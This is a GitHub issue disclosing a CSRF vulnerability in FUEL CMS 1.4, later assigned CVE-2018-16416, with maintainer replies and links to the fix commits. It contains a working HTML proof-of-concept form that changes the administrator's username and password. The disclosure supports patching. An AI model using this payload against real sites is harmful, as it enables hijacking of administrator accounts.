Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Cross-site request forgery (CSRF) vulnerability #481

Closed
anquanquantao opened this issue Aug 27, 2018 · 4 comments
Closed

Cross-site request forgery (CSRF) vulnerability #481

anquanquantao opened this issue Aug 27, 2018 · 4 comments

Comments

@anquanquantao
Copy link

anquanquantao commented Aug 27, 2018 •
edited
Loading

Cross-site request forgery (CSRF) vulnerability in "http://127.0.0.1/fuel/my_profile/edit?inline=" in FUELCMS 1.4 allows remote attackers to hijack the authentication of unspecified users for requests that change administrator's password

Author:xichaokm

poc：

<span style="font-size:18px;"><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF</title>
</head>
<form action="http://127.0.0.1/fuel/my_profile/edit?inline=" method="POST">
     <input type="hidden" name="user_name" value="hacker"><!--admin's name-->
     <input type="hidden" name="email" value="test@mail.com"><!--admin's email-->
　  <input type="hidden" name="first_name" value="admin">
　  <input type="hidden" name="last_name" value="admin">
　  <input type="hidden" name="new_password" value="xichao"><!--admin's password-->
　  <input type="hidden" name="confirm_password" value="xichao"><!--admin's password-->
　  <input type="hidden" name="Save" value="Save">
　  <input type="hidden" name="language" value="english">
　  <input type="hidden" name="fuel_inline" value="0">
    <button type="submit" value="Submit">GO</button>
    </form>
    </body>
</html></span>
@daylightstudio
Copy link
Owner

Is this with the develop branch?

@anquanquantao
Copy link
Author

master branch

@daylightstudio
Copy link
Owner

There were some security updates to the develop branch recently that may have mitigated this.

@NicoleG25
Copy link

@daylightstudio could you point out the commit that fixed this issue?
Please note that CVE-2018-16416 was assigned to this vulnerability.

daylightstudio pushed a commit that referenced this issue Jan 16, 2020
fix: CSRF issue #481
c33ddda
daylightstudio pushed a commit that referenced this issue Jan 16, 2020
fix: related to issue #481 and CSRF
dff5edd
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
3 participants
@daylightstudio @anquanquantao @NicoleG25